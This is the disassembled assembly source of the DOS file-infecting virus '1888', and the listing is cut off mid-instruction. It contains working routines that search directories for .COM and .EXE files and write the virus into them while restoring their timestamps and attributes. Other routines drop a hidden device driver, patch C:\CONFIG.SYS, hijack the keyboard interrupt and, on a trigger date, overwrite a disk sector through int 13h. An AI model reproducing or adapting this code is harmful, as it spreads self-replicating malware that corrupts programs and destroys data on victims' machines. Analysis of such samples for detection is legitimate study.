PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ 1888 ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 28-Jul-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ d_0040_001C_e equ 1Ch d_0040_004A_e equ 4Ah d_8B38_0003_e equ 3 ;* data_0012_e equ 12h data_0016_e equ 16h data_00A3_e equ 0A3h data_00A7_e equ 0A7h data_00A9_e equ 0A9h data_00AB_e equ 0ABh data_00AF_e equ 0AFh data_00B3_e equ 0B3h data_00B5_e equ 0B5h d_9E01_0000_e equ 0 ;* d_9E01_0002_e equ 2 ;* d_9E01_0004_e equ 4 ;* d_9E01_0008_e equ 8 ;* d_9E01_0014_e equ 14h ;* d_9E01_0016_e equ 16h ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h 1888 proc far start: jmp loc_0767 data_0103 db 20h data_0104 dw 86C0h data_0106 dw 18FCh data_0108 dw 762h data_010A dw 0 data_010C db '1888.COM', 0 db 00h, 00h, 00h,0A6h data_0119 dw 25h data_011B db 1 data_011C dw 760h data_011E db 0 data_011F db 0 data_0120 dw 762h data_0122 dw 760h data_0124 dw 0FFFEh data_0126 dw 5369h ; Data table (indexed access) data_0128 dw 5369h data_012A dw 4C97h data_012C dd 9E010000h data_0130 dw 7C8h data_0132 db 8 data_0133 db 10h data_0134 db 0 data_0135 db 10h db 0, 0, 0, 0 data_013A db '\DANGER\1888' db 20 dup (0) data_015A db 'C:\', 0 db '*', 0 db 'NETWARE', 0 db 'LMS', 0 db 'MAUS', 0 db 'MDB', 0 db 'DOS', 0 db 'BASE', 0 db 'L', 0 data_0180 dw 160h data_0182 db 0 data_0183 db 1 db 14h, 17h, 6Eh, 00h, 01h,0A9h db 00h, 01h,0BFh db 38h data_018E db 2Ah db 2Eh, 65h, 78h, 65h, 00h data_0194 db 2Ah db 2Eh, 63h, 6Fh, 6Dh, 00h data_019A db 0 data_019B db 0 data_019C db 0 data_019D db 4 db 3Fh db 7 dup (3Fh) db 43h, 4Fh, 4Dh, 23h, 04h, 00h db 0F3h, 31h, 0Dh, 4Dh, 18h, 68h db 20h,0C0h, 86h,0FCh, 18h, 62h db 07h, 00h, 00h db '1888.COM' db 00h, 00h, 00h, 00h,0A6h,0EAh db 0AAh, 03h, 00h,0CCh,0AAh, 03h db 60h, 07h, 00h, 40h, 05h, 00h db 60h, 07h, 00h, 01h,0C8h, 01h db 19h, 01h, 00h, 00h, 69h, 53h db 69h, 53h, 61h, 06h, 9Dh, 04h db 16h, 32h, 21h, 00h, 7Bh, 1Ah db 12h, 32h,0ADh, 04h, 69h, 53h db 12h, 32h,0DEh, 07h 1888 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_01F7 proc near cmp data_011C,0 jne loc_0207 ; Jump if not equal mov ax,760h mov data_011C,ax mov data_0120,ax loc_0207: mov al,data_011E mov data_011F,al mov ax,data_0120 mov data_0122,ax inc data_0119 mov data_019C,0 mov data_019A,0 mov data_019B,0 retn sub_01F7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0227 proc near lea dx,data_0183 ; Load effective addr xor al,al ; Zero register mov ah,3Dh ; '=' int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jc loc_ret_0239 ; Jump if carry Set mov bx,ax mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle loc_ret_0239: retn sub_0227 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_023A proc near mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dh=month ; dl=day, al=day-of-week 0=SUN mov ah,dh cmp cx,data_0130 je loc_0249 ; Jump if equal add ah,0Ch loc_0249: sub ah,data_0132 mov data_011B,ah mov data_0134,al mov data_0133,dl mov data_0132,dh mov data_0130,cx mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec mov data_0135,ch retn sub_023A endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0269 proc near mov ax,es dec ax push es mov es,ax mov ax,es:d_8B38_0003_e mov data_012A,ax pop es mov bx,ax sub bx,200h mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change memory allocation ; bx=bytes/16, es=mem segment mov bx,150h mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov word ptr data_012C+2,ax retn sub_0269 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_028C proc near push es mov ax,word ptr data_012C+2 mov es,ax mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov ax,data_0128 mov es,ax mov bx,data_012A mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change memory allocation ; bx=bytes/16, es=mem segment pop es retn sub_028C endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_02A5 proc near push ds mov ah,1Bh int 21h ; DOS Services ah=function 1Bh ; get disk info, default drive ; al=sectors per cluster ; ds:bx=ptr to media ID byte ; cx=sector size, dx=clusters cmp byte ptr [bx],0F8h pop ds retn sub_02A5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_02AF proc near lea si,data_019D ; Load effective addr mov di,si xor dl,dl ; Zero register mov ah,47h ; 'G' int 21h ; DOS Services ah=function 47h ; get present dir,drive dl,1=a: ; ds:si=ASCIIZ directory name mov cx,30h mov al,0 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov cx,di sub cx,si lea di,data_013A ; ('\DANGER\1888') Load effective addr mov al,5Ch ; '\' stosb ; Store al to es:[di] rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_02AF endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_02D0 proc near mov data_0182,0 lea bx,cs:[160h] ; Load effective addr add bx,20h mov data_0180,bx sub bx,20h lea dx,data_015A+4 ; ('*') Load effective addr mov cx,33h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_031F ; Jump if carry Set loc_02F0: lea di,data_019D ; Load effective addr add di,1Eh cmp byte ptr [di],2Eh ; '.' je loc_0319 ; Jump if equal mov si,di mov cx,20h mov al,0 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov cx,di sub cx,si mov di,bx add bx,cx cmp bx,data_0180 ja loc_031F ; Jump if above rep movsb ; Rep when cx >0 Mov [si] to es:[di] inc data_0182 loc_0319: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_02F0 ; Jump if carry=0 loc_031F: lea bx,cs:[160h] ; Load effective addr mov data_0180,bx retn sub_02D0 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0328 proc near cmp data_0182,0 je loc_ret_034C ; Jump if equal lea dx,data_013A ; ('\DANGER\1888') Load effective addr mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov dx,data_0180 mov di,dx mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov al,0 mov cx,20h repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov data_0180,di loc_ret_034C: retn sub_0328 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_034D proc near mov ax,data_0104 and al,1Fh cmp al,1Eh retn sub_034D endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0355 proc near lea dx,data_0194 ; Load effective addr cmp data_011E,0 je loc_0364 ; Jump if equal lea dx,data_018E ; Load effective addr loc_0364: mov cx,23h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx retn sub_0355 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_036C proc near lea si,data_019D ; Load effective addr add si,15h lea di,data_0103 ; Load effective addr mov cx,16h rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_036C endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_037D proc near pushf ; Push flags mov cx,data_0104 or cl,1Fh and cl,0FEh mov dx,data_0106 mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle lea dx,data_010C ; ('1888.COM') Load effective addr xor ch,ch ; Zero register mov cl,data_0103 mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx popf ; Pop flags retn sub_037D endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_03A6 proc near lea dx,data_010C ; ('1888.COM') Load effective addr xor cx,cx ; Zero register mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx jc loc_ret_03BA ; Jump if carry Set mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax loc_ret_03BA: retn sub_03A6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_03BB proc near push ds mov ax,word ptr data_012C+2 mov ds,ax mov cx,100h xor dx,dx ; Zero register mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer cmp word ptr ds:d_9E01_0000_e,5A4Dh nop ;*ASM fixup - sign extn byte je loc_03D6 ; Jump if equal stc ; Set carry flag jmp loc_0455 loc_03D6: call sub_0457 push ax mov ax,di and ax,0Fh mov cx,10h xor dx,dx ; Zero register sub cx,ax mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jnc loc_03EF ; Jump if carry=0 jmp short loc_0455 db 90h loc_03EF: mov si,ax mov cx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jc loc_0455 ; Jump if carry Set pop dx mov ax,di add ax,si add ax,100h cmp ax,200h jb loc_040B ; Jump if below and ax,1FFh inc dx loc_040B: mov cl,4 shr ax,cl ; Shift w/zeros fill dec dx mov cl,5 shl dx,cl ; Shift w/zeros fill sub dx,ds:d_9E01_0008_e add ax,dx sub ax,10h mov ds:d_9E01_0016_e,ax mov word ptr ds:d_9E01_0014_e,100h push ds mov ax,cs mov ds,ax mov cx,data_011C mov dx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer pop ds jc loc_0455 ; Jump if carry Set call sub_0457 mov ds:d_9E01_0002_e,di mov ds:d_9E01_0004_e,ax mov ax,4200h xor dx,dx ; Zero register xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_0455 ; Jump if carry Set mov cx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_0455: pop ds retn sub_03BB endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0457 proc near mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov di,ax and di,1FFh mov cl,9 shr ax,cl ; Shift w/zeros fill mov cl,7 shl dx,cl ; Shift w/zeros fill add ax,dx inc ax retn sub_0457 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0472 proc near mov ax,data_0108 mov data_0120,ax mov cx,data_011C cmp cx,ax jb loc_0488 ; Jump if below mov data_0120,cx mov cx,data_0108 loc_0488: push ds mov ax,word ptr data_012C+2 mov ds,ax xor dx,dx ; Zero register mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer pop ds jc loc_ret_04DD ; Jump if carry Set mov ax,4200h xor dx,dx ; Zero register xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_ret_04DD ; Jump if carry Set mov dx,100h mov cx,data_011C mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer int 3 ; Debug breakpoint cmp ax,cs:data_0108 ja loc_04CC ; Jump if above mov ax,4200h mov dx,data_0108 mov data_0120,dx xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_ret_04DD ; Jump if carry Set mov cx,data_011C jmp short loc_04D0 loc_04CC: mov cx,data_0108 loc_04D0: push ds mov ax,word ptr data_012C+2 mov ds,ax xor dx,dx ; Zero register mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer pop ds loc_ret_04DD: retn sub_0472 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_04DE proc near cmp data_011B,2 ja loc_04E8 ; Jump if above xor ax,ax ; Zero register retn loc_04E8: mov al,data_0133 and al,1 retn sub_04DE endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_04EE proc near cmp data_0133,0Fh jb loc_0507 ; Jump if below mov al,data_0135 cmp al,13h jb loc_0507 ; Jump if below mov ax,40h mov es,ax mov byte ptr es:d_0040_004A_e,23h ; '#' loc_0507: cmp data_0133,0Dh jne loc_ret_0524 ; Jump if not equal cmp data_0134,5 jne loc_ret_0524 ; Jump if not equal mov ax,301h mov cx,1 mov dx,50h xor bx,bx ; Zero register mov es,bx int 13h ; Disk dl=drive ? ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head loc_ret_0524: retn sub_04EE endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0525 proc near mov data_019B,1 lea dx,data_05C1 ; Load effective addr mov cx,27h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jnc loc_0564 ; Jump if carry=0 mov ah,3Ch ; '<' mov cx,6 int 21h ; DOS Services ah=function 3Ch ; create/truncate file @ ds:dx mov bx,ax lea dx,data_05EE ; Load effective addr mov cx,data_070A mov si,dx add si,data_00B3_e mov ax,data_0130 mov [si],ax mov ah,data_0132 mov [si+2],ah mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle jc loc_05BD ; Jump if carry Set loc_0564: lea dx,data_05C7 ; Load effective addr mov cx,27h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_05BD ; Jump if carry Set call sub_036C xor cx,cx ; Zero register mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax jc loc_05BD ; Jump if carry Set mov cx,data_0108 push es push ds mov ax,word ptr data_012C+2 mov ds,ax mov es,ax xor dx,dx ; Zero register mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer pop ds mov dx,ax mov ax,0FFFFh xor di,di ; Zero register repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al cmp ax,es:[di-1] pop es jz loc_05BD ; Jump if zero mov ax,4200h xor cx,cx ; Zero register dec dx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_05BD ; Jump if carry Set lea dx,data_05D5 ; Load effective addr mov cx,19h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_05BD: call sub_037D retn sub_0525 endp data_05C1 db 43h db 3Ah, 5Ch,0FFh,0FFh, 00h data_05C7 db 'C:\CONFIG.SYS', 0 data_05D5 db 'DEVICE =' db 0FFh,0FFh db ' COUNTRY.SYS', 0Dh, 0Ah db 1Ah data_05EE db 0FFh db 0FFh,0FFh,0FFh, 40h,0C8h, 16h db 00h, 21h, 00h db 'hgt42 ' db 00h, 00h, 00h, 00h, 2Eh, 89h db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h db 14h, 00h,0CBh, 1Eh, 06h, 0Eh db 1Fh,0C4h, 3Eh, 12h, 00h, 26h db 8Ah, 45h, 02h, 3Ch, 00h, 75h db 03h,0E8h, 82h, 00h db 0Dh, 00h, 10h, 26h, 89h, 45h db 03h, 07h, 1Fh,0CBh, 50h, 53h db 51h, 1Eh db 0E4h, 60h,0A8h, 80h, 75h, 30h db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah db 0C7h, 75h, 27h,0B8h, 40h, 00h db 8Eh,0D8h,0E8h, 28h, 00h, 25h db 05h, 00h, 8Bh,0C8h db 0BBh, 1Ch, 00h locloop_064F: mov ax,cs:data_00A9_e mov [bx],ax add bx,2 cmp bx,3Fh jb loc_0660 ; Jump if below mov bx,1Eh loc_0660: mov word ptr ds:[1Ch],bx loop locloop_064F ; Loop if cx > 0 loc_0666: pop ds pop cx pop bx pop ax jmp dword ptr cs:data_00A3_e ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_066F proc near mov ax,cs:data_00A7_e push ax and ah,0B4h pop ax jp loc_067B ; Jump if parity=1 stc ; Set carry flag loc_067B: rcl ax,1 ; Rotate thru carry mov cs:data_00A7_e,ax retn sub_066F endp db 'hgt42 ' db 00h, 56h, 31h, 00h, 46h, 52h db 44h, 00h, 00h, 00h, 00h, 00h db 00h, 65h, 12h, 65h, 73h, 74h db 6Eh, 12h, 1Fh, 14h, 31h,0CDh db 0ABh,0EFh db 06h, 57h,0B4h, 2Ah,0CDh, 21h db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h db 74h, 03h, 80h,0C4h db 0Ch loc_06B5: sub ah,ds:data_00B5_e cmp ah,3 jb loc_06FB ; Jump if below mov ds:data_00B5_e,dh mov ds:data_00B3_e,cx mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec mov ds:data_00A7_e,dx call sub_066F mov bx,ax and bx,3 nop ;*ASM fixup - sign extn byte mov al,ds:data_00AB_e[bx] mov ah,ds:data_00AF_e[bx] mov ds:data_00A9_e,ax mov ax,3516h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_00A3_e,bx mov bx,es mov word ptr ds:data_00A3_e+2,bx cli ; Disable interrupts ;* mov dx,offset loc_003E ;* db 0BAh, 3Eh, 00h mov ax,2516h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx sti ; Enable interrupts loc_06FB: pop di pop es mov word ptr es:[di+0Eh],0B6h mov es:[di+10h],cs xor ax,ax ; Zero register retn data_070A dw 11Ch data_070C db 8Bh db 1Eh, 28h, 01h,0A1h, 26h, 01h db 8Eh,0D0h, 8Bh, 26h, 24h, 01h dw 0EC83h, 8B04h dw 80F4h, 1F3Eh dw 1, 2875h dw 0BFh, 3601h dw 3C89h, 0FB8Bh dw 8936h, 27Ch dw 0FF33h, 8936h dw 47Ch, 0BFh dw 8B01h, 2236h dw 301h, 8BF7h dw 1C0Eh, 8C01h dw 8ED8h, 0F3C0h dw 0EBA4h, 9016h db 8Bh,0FBh, 83h,0C7h, 10h,0A1h db 16h, 00h, 03h,0F8h, 36h, 89h db 7Ch, 02h, 8Bh, 3Eh, 14h, 00h db 36h, 89h db 3Ch db 8Eh,0DBh, 8Eh,0C3h,0CBh loc_0767: mov ax,ss mov cs:data_0126,ax mov cs:data_0124,sp mov ax,cs mov ss,ax mov sp,1F7h push ds mov ds,ax pop ax mov data_0128,ax call sub_0269 mov ax,cs mov es,ax call sub_01F7 mov dx,offset data_019D mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA(disk xfer area) ds:dx call sub_02AF call sub_02A5 jnc loc_079C ; Jump if carry=0 jmp loc_083A loc_079C: call sub_0227 jc loc_07A4 ; Jump if carry Set jmp loc_083A loc_07A4: call sub_023A call sub_02D0 mov data_011E,0 loc_07AF: call sub_0355 jc loc_0800 ; Jump if carry Set loc_07B4: cmp data_019C,4 ja loc_083A ; Jump if above call sub_036C call sub_034D jnc loc_07FA ; Jump if carry=0 cmp data_010A,4 ja loc_07FA ; Jump if above call sub_03A6 jc loc_083A ; Jump if carry 